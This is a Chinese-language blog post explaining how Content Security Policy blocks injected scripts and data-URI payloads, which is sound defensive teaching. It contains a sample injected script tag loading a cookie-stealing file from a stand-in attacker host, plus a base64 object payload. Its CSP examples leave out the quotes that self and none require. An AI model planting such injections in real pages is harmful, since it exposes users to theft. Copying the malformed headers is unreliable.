網頁入侵最後一道防線:CSP內容安全策略

首先,什麼是最後一道防線?

網頁入侵都有一個過程,簡單來說,就是1.代碼注入,2.代碼執行。

對於黑客來說,代碼注入後並不代表就萬事大吉了,因為此時代碼只是安靜地躺在受害者的伺服器里,什麼壞事都沒幹呢!

所以必須要有代碼執行這一步。

今天要講的,就是如何阻止惡意代碼的執行。

惡意代碼的執行方式1:inline script

比如我的某個網站 Example Domain 被注入了惡意代碼了,這段代碼長這樣:

<script src="badguy.com/steal-your-cookies.js"></script>

這段代碼會從一個叫 badguy.com 的網站載入一個 js 腳本文件並執行。只要這段代碼被執行了,用戶的一些信息就會被竊取。

惡意代碼的執行方式2:Data URI scheme

Data URI scheme 設計的初衷是為了把一些小的資源,比如圖片,直接嵌入到 HTML 中,避免了額外的載入。

比如,傳統的圖片代碼是這樣的:

<img src="example.com/1.jpg" />

這種載入會額外消耗網路帶寬,並增加網頁的響應時間

現在可以這樣做:

<img src_="data:image/gif;base64,編碼數據" />

這樣的話,只要載入一次,就可以顯示圖片了。

不過,這種方式可以被利用來執行JS代碼!

比如,黑客只要注入下面這段看起來人畜無害的代碼,用戶一打開網頁,就會……boom!(好吧,其實就是彈出個對話框,調戲下用戶)

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgibmkgc2hpIFNCIG1hPyIpPC9zY3JpcHQ+"></object>

當然惡意代碼執行的方式多種多樣,這裡就不一一列舉了,大家有個概念即可。

防止代碼執行的內容安全策略:CSP

CSP是 Content-Security-Policy 縮寫,基本作用是建立一套白名單,所有在白名單之外的代碼都不允許執行。

CSP 應用一:拒絕執行第三方域名的腳本

Content-Security-Policy: script-src self

如此一來,例1中的 `steal-your-cookies.js` 腳本便不會被載入,更不會被執行了。

CSP 應用二:拒絕執行 Data URI Scheme

Content-Security-Policy: object-src none

如此一來,例2中的 base64 編碼後的代碼就無法被執行了。

但是,除了 object 標籤外,img 標籤也是可以執行 base64 代碼的,除了 img,還有 media, frame 等……

CSP 應用三:向管理員主動報告入侵情況

Content-Security-Policy: report-uri http://example.com/report.php

在 CSP 策略中加入 report-uri 指令,即可向特定網址發送當前網頁里任何違反 CSP 策略的情況。如此一來,管理員便可以知道自己的網站是否被入侵了。


接下來是廣告時間:

我的簡書:panyanyany - 簡書

我的知乎:OutOfRange

我的公眾號:OutOfRange

有事歡迎騷擾 ~


推薦閱讀:

我就發個圖

TAG:網路安全 | 網頁瀏覽器 | 編程 |